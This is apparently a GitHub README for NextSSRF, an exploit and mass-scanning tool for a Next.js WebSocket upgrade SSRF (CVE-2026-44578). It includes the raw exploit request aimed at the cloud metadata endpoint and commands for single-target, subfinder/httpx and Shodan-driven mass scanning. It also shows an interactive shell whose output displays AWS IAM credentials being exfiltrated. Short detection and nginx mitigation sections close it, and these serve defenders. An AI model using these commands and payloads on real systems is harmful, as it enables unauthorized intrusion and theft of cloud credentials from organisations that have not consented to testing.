Access logs (absolute-form URI + Upgrade header)

May 15, 2026 · View on GitHub

╔══════════════════════════════════════════════════════════════╗
║         NextSSRF — CVE-2026-44578 Scanner & Exploit          ║
║   Next.js WebSocket Upgrade Handler SSRF                     ║
║   Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4              ║
║         @mitsec / ynsmroztas — Bug Bounty Tooling            ║
╚══════════════════════════════════════════════════════════════╝

Python CVE CVSS License Platform

CVE-2026-44578 — Server-Side Request Forgery via Next.js WebSocket Upgrade Handler

Overview · Install · Usage · Pipeline · Shodan · Interactive · Disclaimer


Overview

On May 11, 2026, Vercel patched CVE-2026-44578 (CVSS 8.6): an unauthenticated SSRF in Next.js's WebSocket upgrade handler affecting all self-hosted deployments from 13.4.13 onward.

Mechanism

GET http://169.254.169.254/latest/meta-data/ HTTP/1.1   ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

The // in http:// triggers normalizeRepeatedSlashes early-exit, setting statusCode: 308 and finished: true. The vulnerable upgrade handler ignores both flags and calls proxyRequest when parsedUrl.protocol is truthy — proxying the request to the attacker-controlled host on port 80.

// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)

Affected Versions

ProductVulnerableFixed
Next.js13.4.13 – 15.5.1515.5.16
Next.js16.0.0 – 16.2.416.2.5
Vercel-hosted✅ NOT affectedN/A

Limitations

  • GET only (no POST/PUT)
  • Port 80 only (explicit ports stripped by URL normalization)
  • AWS IMDSv2 not exploitable (requires PUT token)
  • GCP metadata rejects Upgrade: websocket with 400
  • Reverse proxies (nginx/caddy/HAProxy) block absolute-form URIs

Demo

NextSSRF — AWS Credentials Exfiltrated

AWS IMDSv1 credentials exfiltrated via CVE-2026-44578 — interactive exploit shell


Install

git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com

Zero dependencies — Python stdlib only. Python 3.10+ required.


Usage

Single Target Scan

python3 nextssrf.py -t https://target.com

Cloud-Specific Targeting

# AWS metadata only
python3 nextssrf.py -t https://target.com --cloud aws

# Custom internal target
python3 nextssrf.py -t https://target.com \
  --ssrf-host http://internal-api --path /admin

# Deep scan (+ internal services)
python3 nextssrf.py -t https://target.com --cloud aws --deep

Mass Scan (Pipeline)

# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
  python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl

# File input
python3 nextssrf.py -f targets.txt --threads 15 -o results.json

# Force scan (even if version unknown)
python3 nextssrf.py -t https://target.com --force

Exit Codes

CodeMeaning
0Not vulnerable / clean
1Vulnerable (no exploit)
2SSRF confirmed

Interactive Shell

Advanced exploit shell with auto cloud detection and IAM credential extraction:

python3 nextssrf.py -t https://target.com
╔══════════════════════════════════════════════════╗
║  NextSSRF v2 — Interactive Exploit Shell         ║
║  Target : ec2-x-x-x-x.compute.amazonaws.com     ║
║  CVE    : CVE-2026-44578  |  Status: Connected   ║
╚══════════════════════════════════════════════════╝

nextssrf(ec2-x...)> cloud
  [>] Detecting cloud provider...
  ✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
  → Run 'aws' for full credential extraction

nextssrf(ec2-x...)> aws
  [1/3] Instance Information
  [200] Hostname    : ip-172-31-47-134.ec2.internal
  [200] AZ          : us-east-1d
  [200] Account ID  : {"AccountId": "370741706736"}

  [2/3] IAM Role Discovery
  ✓ IAM Role found: my-ec2-role

  [3/3] Credential Extraction
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  🎯 AWS CREDENTIALS EXFILTRATED!
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
  SecretKey   : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  Expiration  : 2026-05-14T22:32:22Z

Shell Commands

CommandDescription
cloudAuto-detect cloud (AWS/Azure/GCP/DO/OCI)
awsFull AWS IAM credential chain
azureAzure managed identity token
scanCloud detect + auto exploit
url <http://>Custom SSRF request
get <N>AWS IMDS target by index
listShow all IMDS endpoints
historyRequest history
saveExport session to JSON
quitExit

Auto Mode

# Detect cloud + run full exploit chain automatically
python3 nextssrf.py -t https://target.com --auto

Pipeline Examples

# Full recon → exploit pipeline
subfinder -d target.com \
  | httpx -silent -server \
  | grep -i "next" \
  | python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl

# Shodan mass scan → interactive on confirmed hosts
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
  | python3 nextssrf.py --pipe --cloud aws -o hits.jsonl

# Check specific version range
cat hosts.txt \
  | python3 nextssrf.py --pipe --force --cloud aws \
  | jq '.[] | select(.ssrf_hits | length > 0)'

Detection (Blue Team)

Signs of exploitation in logs:

# Next.js process logs
Failed to proxy http:/   ← single slash = normalization fingerprint

# Access logs (absolute-form URI + Upgrade header)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket

Mitigation (if can't patch)

# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

References


Disclaimer

For authorized security testing and bug bounty research only. Use only against systems you own or have explicit written permission to test. The authors are not responsible for misuse or unauthorized use. Always follow your bug bounty program's rules of engagement.


Made with ❤️ by @mitsec · ynsmroztas.github.io

Top Hacker @ Intigriti · 100+ HOF · 2430+ Vulnerabilities · 1100+ P1 Critical